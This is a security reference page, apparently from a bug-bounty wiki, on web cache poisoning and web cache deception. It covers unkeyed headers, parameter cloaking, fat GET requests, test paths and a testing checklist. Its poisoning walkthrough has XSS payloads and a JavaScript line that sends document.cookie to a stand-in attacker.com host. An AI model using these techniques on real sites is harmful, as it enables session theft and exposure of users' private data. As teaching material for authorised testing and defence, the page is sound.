Cache Poisoning

Cache poisoning and web cache deception are related but different. Poisoning: you poison the cache so other users receive your malicious response. Deception: you trick a user into caching their own private response, then retrieve it. This page covers both - they often share the same root cause and infrastructure.

Cache Poisoning vs. Cache Deception

AttackMechanismTargetImpact
Cache PoisoningInject malicious content into cache via unkeyed headersAll users who hit the cached URLXSS delivery, redirect, DoS
Cache DeceptionTrick user into caching private pageIndividual victimRead their cached private data

How Cache Keying Works

The cache stores responses keyed on the request. The key is usually host + path + query. Headers are typically not part of the key - but they can affect the response. That's the gap.

flowchart TD
    A["Attacker sends X-Forwarded-Host: evil.com"] --> B["Cache key: target.com/page"]
    B --> C{"Cache hit?"}
    C -->|"No"| D["Forwarded to backend"]
    D --> E["Backend uses X-Forwarded-Host in URLs"]
    E --> F["Response includes evil.com script"]
    F --> G["Response cached"]
    G --> H["All users get poisoned response"]

Unkeyed Headers - The Attack Surface

These headers influence response content but are commonly excluded from cache keys:

X-Forwarded-Host
X-Forwarded-For
X-Forwarded-Scheme
X-Host
X-Original-URL
X-Rewrite-URL
X-Forwarded-Port
X-Original-Forwarded-For
Forwarded

Use Param Miner (Burp extension) to discover which headers are unkeyed and reflected: right-click request → Guess headers. It fuzzes hundreds of header names and flags ones that appear in the response.

Practical Poisoning Flow

Step 1: Find an Unkeyed Header That's Reflected

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
 
HTTP/1.1 200 OK
<script src="https://attacker.com/static/js/app.js">

The response includes attacker.com because the app uses X-Forwarded-Host to construct absolute URLs.

Step 2: Verify It's Not Already Cached (Cache Buster)

Add a cache-busting parameter to test without poisoning real users:

GET /?cb=12345 HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

Check response headers for X-Cache: MISS (first hit, went to backend) vs X-Cache: HIT (served from cache).

Step 3: Poison Without Cache Buster

Once confirmed, send without the cache buster. The malicious response gets cached under the canonical URL. Verify by making a fresh request from a different IP/session and checking if you receive the poisoned response.

Step 4: Host Your Payload

On attacker.com, serve JavaScript at the path the response expects:

// attacker.com/static/js/app.js
document.location = 'https://attacker.com/steal?c=' + document.cookie;

Parameter Cloaking

Caches and backends sometimes parse query strings differently. If the cache uses the first instance of a parameter but the backend uses the last:

GET /search?q=legit&q=<script>alert(1)</script>
Cache key: /search?q=legit
Backend sees: q=<script>alert(1)</script>

The cached key looks clean; the backend processes the malicious value. Param Miner detects this automatically.

Fat GET / Body-Reflected Unkeyed Input

Some backends process POST body parameters even on GET requests. If body content is reflected in a GET response but the cache key is based on the URL only:

GET /page HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
 
x=<script>alert(1)</script>

If reflected and cached, every subsequent GET to /page delivers XSS.

Web Cache Deception

flowchart TD
    A["Attacker sends victim link ending in .css"] --> B["Victim visits /account/profile/fake.css"]
    B --> C["App returns authenticated profile data"]
    C --> D["CDN caches response as static"]
    D --> E["Attacker requests same URL without auth"]
    E --> F["CDN serves victim's cached data"]

The exploit works when: the app serves authenticated content for unknown paths (instead of 404ing), and the CDN/cache caches based on file extension or path pattern regardless of auth headers.

Test paths:

/account/profile/.css
/account/settings/nonexistent.jpg
/inbox/messages/fake.png
/api/user/data.js

Checklist

  • Run Param Miner on the target - identify unkeyed headers
  • Test each unkeyed header for reflection in response
  • Use cache-buster param while probing to avoid unintended poisoning
  • Check cache response headers: X-Cache, CF-Cache-Status, Age, Surrogate-Key
  • Test parameter cloaking - duplicate parameters with different values
  • Test fat GET / body reflection
  • Test web cache deception: authenticated URL + appended .css/.js/.png extension
  • Document cache TTL - how long does the poisoned response persist?

Public Reports

Real-world cache poisoning findings across bug bounty programs:

See Also